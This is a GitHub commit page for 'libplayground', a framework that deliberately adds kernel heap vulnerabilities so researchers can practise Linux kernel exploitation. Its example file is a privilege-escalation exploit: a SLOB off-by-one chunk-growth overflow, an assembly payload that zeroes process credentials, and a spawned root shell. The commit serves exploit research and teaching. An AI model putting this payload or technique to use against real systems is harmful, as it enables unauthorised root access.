Permalink
Browse files

Initial commit

  • Loading branch information...
djrbliss committed Jan 14, 2012
0 parents commit 2c074e9c7f24ea62e8e5567dda31ca6ac8d55683
Showing with 958 additions and 0 deletions.
  1. +339 −0 COPYING
  2. +41 −0 README
  3. +132 −0 examples/chunk-growth.c
  4. +15 −0 lib/Makefile
  5. +109 −0 lib/libplayground.c
  6. BIN lib/libplayground.so
  7. +73 −0 lib/playground.h
  8. +8 −0 module/Makefile
  9. +194 −0 module/playground.c
  10. +47 −0 module/playground.h
339 COPYING

Large diffs are not rendered by default.

Oops, something went wrong.
41 README
@@ -0,0 +1,41 @@
+****************************************************************
+* libplayground *
+* A simple framework for developing Linux kernel heap exploits *
+****************************************************************
+
+Warning: this will deliberately introduce vulnerabilities into your kernel for
+the purposes of exploit development. Additionally, use of this module may, by
+design, cause corruption of kernel heap memory that may impact system
+stability, including the integrity of files stored on disk. It is highly
+recommended that all testing be performed on a disposable virtual machine.
+
+libplayground is composed of two parts. A Linux kernel module, located in
+module/, creates a device file at /dev/playground. This device file supports
+ioctls designed to simulate various exploitation primitives useful when
+developing Linux kernel heap exploits. Currently supported is the ability to
+allocate and free heap chunks, the ability to read and write arbitrary data to
+and from specific heap chunks (for example to simulate a heap overflow), the
+ability to cause a double-free of a heap chunk, and the ability to trigger the
+invocation of a function pointer stored at a specified offset from the
+beginning of a heap chunk. All chunks are allocated using kmalloc(), which
+will invoke whichever slab layer is running on the testing kernel. At the time
+of this writing, SLUB is the default allocator, but other allocators, such as
+SLAB or SLOB, may be configured at compile time.
+
+The module can be built using a simple "make", and loaded into the kernel using
+"insmod playground.ko".
+
+To make interacting with this kernel module a little easier, a simple userland
+library is included in lib/. After building and installing this library and
+its associated header file ("make install"), test cases may be built against it
+by including "<playground.h>" and linking against the library. An example
+provided in examples/ can be built as follows:
+
+ gcc chunk-growth.c -o chunk-growth -lplayground
+
+Or, if you built the library but didn't install it:
+
+ gcc chunk-growth.c -o chunk-growth -I../lib/ -L../lib/ -lplayground
+
+Take a look at lib/playground.h and the example for the provided functions and
+usage. Happy hacking!
@@ -0,0 +1,132 @@
+/*
+ * SLOB chunk growth example for libplayground
+ * Copyright (c) 2012 Dan Rosenberg (@djrbliss)
+ *
+ * Example of exploiting an off-by-one overflow in the SLOB allocator
+ * by using the chunk growth technique.
+ *
+ * The idea is to overwrite the least significant byte of the size field
+ * of an adjacent allocated or free chunk in order to grow that chunk. A
+ * subsequent allocation of a larger chunk will cause the allocator to return
+ * memory where the second portion of the chunk will overlap with a previously
+ * allocated chunk, allowing attacker-controlled data to be written on top of
+ * a useful target (such as a structure with function pointers).
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the Free
+ * Software Foundation; either version 2 of the License, or (at your option)
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <playground.h>
+
+/* Payload */
+int getroot(void)
+{
+
+ /* Don't you dare use this awful hack in real life, your offsets are
+ * probably not the same as these */
+ asm( "movl $0xffffe000, %eax\n"
+ "andl %esp, %eax\n"
+ "movl (%eax), %eax\n"
+ "movl 0x2c0(%eax), %eax\n"
+ "movl $0x0, 0x4(%eax)\n"
+ "movl $0x0, 0x8(%eax)\n"
+ "movl $0x0, 0xc(%eax)\n"
+ "movl $0x0, 0x10(%eax)\n"
+ "movl $0x0, 0x14(%eax)\n"
+ "movl $0x0, 0x18(%eax)\n"
+ "movl $0x0, 0x1c(%eax)\n"
+ "movl $0x0, 0x20(%eax)\n"
+ "movl $0xffffffff, %eax\n" );
+
+}
+
+void off_by_one(void)
+{
+ char buf[65];
+
+ /* Overwrite the next chunk size */
+ memset(buf, 0, 64);
+ buf[64] = 0x80;
+ kwrite(997, 65, buf);
+
+ /* Free it and reallocate it, filling it with 0x40 */
+ kfree(998);
+ kmalloc_fill(998, 0x70, 0x40);
+
+ /* Trigger a function pointer in the chunk after the grown chunk to
+ * win */
+ ktrigger(999, 2);
+}
+
+int main(int argc, char **argv)
+{
+ int i;
+ char *payload;
+
+ if (!getuid()) {
+ printf("[-] Psst...you're running as root already...\n");
+ return 1;
+ }
+
+ printf("[*] Mapping payload...\n");
+
+ /* Map payload at 0x40404040 */
+ payload = mmap((void *)0x40404000, 0x2000, PROT_READ | PROT_WRITE |
+ PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+ if (payload == MAP_FAILED) {
+ printf("[-] Failed to map payload.\n");
+ return 1;
+ }
+
+ memcpy((void *)0x40404040, &getroot, 1024);
+
+ /* Open our kmalloc playground device */
+ if (playground_init < 0) {
+ printf("[-] Failed to initialize playground.\n");
+ return 1;
+ }
+
+ /* Exhaust partially filled pages to trigger allocation of a fresh page,
+ * in which our allocations will be sequential */
+ printf("[*] Exhausting partially filled pages...\n");
+
+ for (i = 0; i < 1000; i++) {
+ kmalloc_fill(i, 64, 'A');
+ }
+
+ /* Trigger exploitation of our off-by-one overflow */
+ off_by_one();
+
+ /* It's a good idea to avoid print statements in the middle of kernel
+ * heap exploits, since write(2) may alter the kernel heap state. */
+ printf("[*] Triggered off-by-one overflow...\n");
+
+ playground_close();
+
+ if (!getuid()) {
+ printf("[+] Got root!\n");
+ execl("/bin/sh", "/bin/sh", NULL);
+ } else {
+ printf("[-] Failed to get root.\n");
+ return 1;
+ }
+}
@@ -0,0 +1,15 @@
+all: libplayground.so
+
+install: libplayground.so playground.h
+ cp playground.h /usr/include/playground.h
+ cp libplayground.so /usr/lib/libplayground.so
+
+libplayground.so: libplayground.c playground.h
+ gcc libplayground.c -o libplayground.so -fPIC -shared
+
+uninstall:
+ rm /usr/lib/libplayground.so
+ rm /usr/include/playground.h
+
+clean:
+ rm libplayground.so
@@ -0,0 +1,109 @@
+/*
+ * libplayground userland library
+ * Copyright (C) 2012 Dan Rosenberg
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the Free
+ * Software Foundation; either version 2 of the License, or (at your option)
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include "playground.h"
+
+/* Global file descriptor to device file */
+int playgroundfd;
+
+int playground_init(void)
+{
+ playgroundfd = open("/dev/playground", O_RDONLY);
+
+ return playgroundfd;
+}
+
+int playground_close(void)
+{
+ return close(playgroundfd);
+}
+
+int kmalloc(unsigned int index, unsigned int size)
+{
+ struct playground_args args;
+
+ args.slot = index;
+ args.size = size;
+
+ return ioctl(playgroundfd, PLAYGROUND_ALLOC, &args);
+}
+
+int kmalloc_fill(unsigned int index, unsigned int size, unsigned char fill)
+{
+ struct playground_args args;
+
+ args.slot = index;
+ args.size = size;
+ args.fill = fill;
+
+ return ioctl(playgroundfd, PLAYGROUND_ALLOCFILL, &args);
+}
+
+int ktrigger(unsigned int index, unsigned int offset)
+{
+ struct playground_args args;
+
+ args.slot = index;
+ args.offset = offset;
+
+ return ioctl(playgroundfd, PLAYGROUND_TRIGGER, &args);
+}
+
+int kwrite(unsigned int index, unsigned int size, char *data)
+{
+ struct playground_args args;
+
+ args.slot = index;
+ args.size = size;
+ args.ptr = data;
+
+ return ioctl(playgroundfd, PLAYGROUND_COPYIN, &args);
+}
+
+int kread(unsigned int index, unsigned int size, char *data)
+{
+ struct playground_args args;
+
+ args.slot = index;
+ args.size = size;
+ args.ptr = data;
+
+ return ioctl(playgroundfd, PLAYGROUND_COPYOUT, &args);
+}
+
+int kfree(unsigned int index)
+{
+ struct playground_args args;
+
+ args.slot = index;
+
+ return ioctl(playgroundfd, PLAYGROUND_FREE, &args);
+}
+
+int kdoublefree(unsigned int index)
+{
+ struct playground_args args;
+
+ args.slot = index;
+
+ return ioctl(playgroundfd, PLAYGROUND_DOUBLEFREE, &args);
+}
Binary file not shown.
@@ -0,0 +1,73 @@
+/*
+ * libplayground userland library header
+ * Copyright (C) 2012 Dan Rosenberg
+ *
+ * Warning: this will deliberately introduce vulnerabilities into your kernel
+ * for the purposes of exploit development. Additionally, use of this module
+ * may, by design, cause corruption of kernel heap memory that may impact
+ * system stability, including the integrity of files stored on disk. Use at
+ * your own risk.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the Free
+ * Software Foundation; either version 2 of the License, or (at your option)
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+
+/* Initialize the playground. Returns file descriptor to playground device
+ * on success, and -1 on error. */
+int playground_init(void);
+
+/* Close the file descriptor to playground device. Returns 0 on success, and
+ * -1 on error. */
+int playground_close(void);
+
+/* Allocate a chunk of size "size" in slot "index" */
+int kmalloc(unsigned int index, unsigned int size);
+
+/* Allocate a chunk of size "size" in slot "index" and fill it with "fill" */
+int kmalloc_fill(unsigned int index, unsigned int size, unsigned char fill);
+
+/* Invoke a function pointer stored at word offset "offset" from the chunk
+ * in slot "index" */
+int ktrigger(unsigned int index, unsigned int offset);
+
+/* Write "size" bytes from "data" into the chunk stored in slot "index" */
+int kwrite(unsigned int index, unsigned int size, char *data);
+
+/* Read "size" bytes from the chunk stored in slot "index" into "data" */
+int kread(unsigned int index, unsigned int size, char *data);
+
+/* Free the chunk in slot "index" */
+int kfree(unsigned int index);
+
+/* Double-free the chunk in slot "index" */
+int kdoublefree(unsigned int index);
+
+struct playground_args {
+ unsigned int slot;
+ unsigned int size;
+ unsigned int offset;
+ void *ptr;
+ unsigned char fill;
+};
+
+/* NOTE: make sure these are in sync with the kernel header values */
+#define PLAYGROUND_ALLOC _IOR('P', 1, struct playground_args)
+#define PLAYGROUND_FREE _IOR('P', 2, struct playground_args)
+#define PLAYGROUND_DOUBLEFREE _IOR('P', 3, struct playground_args)
+#define PLAYGROUND_COPYIN _IOR('P', 4, struct playground_args)
+#define PLAYGROUND_COPYOUT _IOWR('P', 5, struct playground_args)
+#define PLAYGROUND_ALLOCFILL _IOR('P', 6, struct playground_args)
+#define PLAYGROUND_TRIGGER _IOR('P', 7, struct playground_args)
+
@@ -0,0 +1,8 @@
+obj-m = playground.o
+all:
+ make -C /lib/modules/`uname -r`/build M=$(PWD) modules
+
+clean:
+ rm -rf Module.symvers playground.ko playground.mod.c \
+ .playground.mod.o.cmd .playground.o.cmd modules.order \
+ .playground.ko.cmd playground.mod.o playground.o .tmp_versions
Oops, something went wrong.

0 comments on commit 2c074e9

Please sign in to comment.